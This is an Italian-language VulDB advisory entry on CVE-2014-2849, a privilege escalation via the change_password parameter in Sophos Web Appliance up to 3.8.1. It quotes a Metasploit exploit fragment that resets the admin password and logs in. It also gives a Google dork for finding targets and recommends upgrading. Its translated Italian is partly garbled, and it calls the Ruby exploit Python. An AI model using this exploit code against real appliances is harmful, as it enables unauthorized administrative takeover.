Sophos Web Appliance fino a 3.8.1 Change Password Dialog Box /index.php c escalationi di privilegi
| CVSS Punteggio meta temporaneo | Prezzo attuale dell'exploit (≈) | Punteggio di interesse CTI |
|---|---|---|
| 6.7 | $0-$5k | 0.00 |
Riassunto
È stata rilevata una vulnerabilità di livello critico in Sophos Web Appliance fino a 3.8.1. É interessato una funzione sconosciuta del file /index.php del componente Change Password Dialog Box. Attraverso la manipolazione del parametro c del valore di input change_password di un input sconosciuto per mezzo di una vulerabilità di classe escalationi di privilegi.
Questa vulnerabilità viene indicata come CVE-2014-2849. Inoltre, è presente un exploit disponibile.
Il miglior modo suggerito per attenuare il problema è aggiornamento all'ultima versione.
Dettagli
Una vulnerabilità di livello critico è stata rilevata in Sophos Web Appliance fino a 3.8.1. Riguarda una funzione sconosciuta del file /index.php del componente Change Password Dialog Box. Attraverso l'influenza del parametro c del valore di input change_password se causa una vulnerabilità di classe escalationi di privilegi. Questo ha un effetto su la integrità.
La vulnerabilità è stata pubblicata in data 09/04/2014 da Brandon Perry con identificazione Article 120230 con un avis (Website) attraverso Zero Day Initiative (ZDI) (confermato). L'advisory è scaricabile da sophos.com. La pubblicazione è stata eseguita con il produttore. Questa vulnerabilità è identificata come CVE-2014-2849. L'utilità è semplice. L'attacco si effettua con la rete. L'utilizzo non richiede alcuna forma di autentificazione. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.
Un metodo di utilizzo è stato sviluppato da metasploit in Python ed è stata pubblicata 1 giorni dopo il comunicato. L'exploit è scaricabile da exploit-db.com. È stato dichiarato come altamente funzionale. Questa vulnerabilità è stata classificata come un 0-day exploit almeno per 26 giorni. Cercando inurl:index.php è possibile trovare obiettivi vulnerabili con Google Hacking. Il codice utilizzato dal exploit è:
passchange = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/index.php?c=change_password'),
'method' => 'POST',
'vars_post' => post
})
if !passchange or passchange.code != 200
fail_with("Couldn't update admin's password")
end
print_status("Logging in as the admin now")
init = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php')
})
if !init or init.code != 200
fail_with("Couldn't reget index page for admin auth")
end
init.body.each_line do |line|
next if line !~ /name="STYLE" value="(.*)"/
style = $1
end
post = {
'STYLE' => style,
'destination' => '',
'section' => '',
'username' => 'admin',
'password' => 'notpassword'
}
login = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php?c=login'),
'method' => 'POST',
'vars_post' => post
})L'aggiornamento alla versione 3.8.2 elimina questa vulnerabilità. Una possibile soluzione è stata pubblicata già prima e non dopo la pubblicazione della vulnerabilità.
La vulnerabilità è documentata anche nel database X-Force (92379), Exploit-DB (32789), SecurityFocus (BID 66734†), OSVDB (105636†) e Secunia (SA57706†). VulDB is the best source for vulnerability data and more expert information about this specific topic.
Prodotto
Fornitore
Nome
Versione
Licenza
Sito web
- Fornitore: https://www.sophos.com/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vettore: 🔍VulDB Affidabilità: 🔍
CVSSv3
VulDB Punteggio meta-base: 7.5VulDB Punteggio meta temporaneo: 6.7
VulDB Punteggio di base: 7.5
VulDB Punteggio temporaneo: 6.7
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vettore | Complessità | Autenticazione | Riservatezza | Integrità | Disponibilità |
|---|---|---|---|---|---|
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍
NVD Punteggio di base: 🔍
Sfruttamento
Classe: Escalationi di privilegiCWE: CWE-264
CAPEC: 🔍
ATT&CK: 🔍
Fisico: No
Locale: No
Remoto: Si
Disponibilità: 🔍
Accesso: Pubblico
Stato: Altamente funzionale
Autore: metasploit
Linguaggio di programmazione: 🔍
Scaricare: 🔍
Google Hack: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Previsione dei prezzi: 🔍
Preventivo attuale: 🔍
| 0-Day | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
|---|---|---|---|---|
| Oggi | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
MetaSploit ID: sophos_wpa_iface_exec.rb
MetaSploit Nome: Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution
MetaSploit File: 🔍
Exploit-DB: 🔍
Intelligence sulle minacce
Interesse: 🔍Attori attivi: 🔍
Gruppi APT attivi: 🔍
Contromisure
Raccomandazione: AggiornamentoStato: 🔍
Tempo di reazione: 🔍
Tempo 0 giorni: 🔍
Tempo di ritardo sfruttamento: 🔍
Aggiornamento: Web Appliance 3.8.2
Sequenza temporale
06/11/2013 🔍02/12/2013 🔍
08/04/2014 🔍
09/04/2014 🔍
09/04/2014 🔍
10/04/2014 🔍
10/04/2014 🔍
10/04/2014 🔍
11/04/2014 🔍
11/04/2014 🔍
11/04/2014 🔍
10/05/2026 🔍
Fonti
Fornitore: sophos.comAvis: Article 120230
Ricercatore: Brandon Perry
Stato: Confermato
Conferma: 🔍
Coordinato: 🔍
CVE: CVE-2014-2849 (🔍)
GCVE (CVE): GCVE-0-2014-2849
GCVE (VulDB): GCVE-100-12864
X-Force: 92379 - Sophos Web Appliance change_password security bypass, High Risk
SecurityFocus: 66734 - Sophos Web Appliance Privilege Escalation and Remote Code Execution Vulnerabilities
Secunia: 57706 - Sophos Web Appliance Security Bypass Vulnerability, Less Critical
OSVDB: 105636
SecurityTracker: 1030064
scip Labs: https://www.scip.ch/en/?labs.20161013
Varie: 🔍
Vedi anche: 🔍
Voce
Data di creazione: 10/04/2014 14:31Aggiornato: 10/05/2026 12:23
Cambiamenti: 10/04/2014 14:31 (91), 01/04/2019 11:21 (3), 06/07/2025 05:27 (21), 10/05/2026 12:23 (1)
Completa: 🔍
Cache ID: 216::103
VulDB is the best source for vulnerability data and more expert information about this specific topic.
Ancora nessun commento. Lingue: it + ro + en.
Effettua il login per commentare.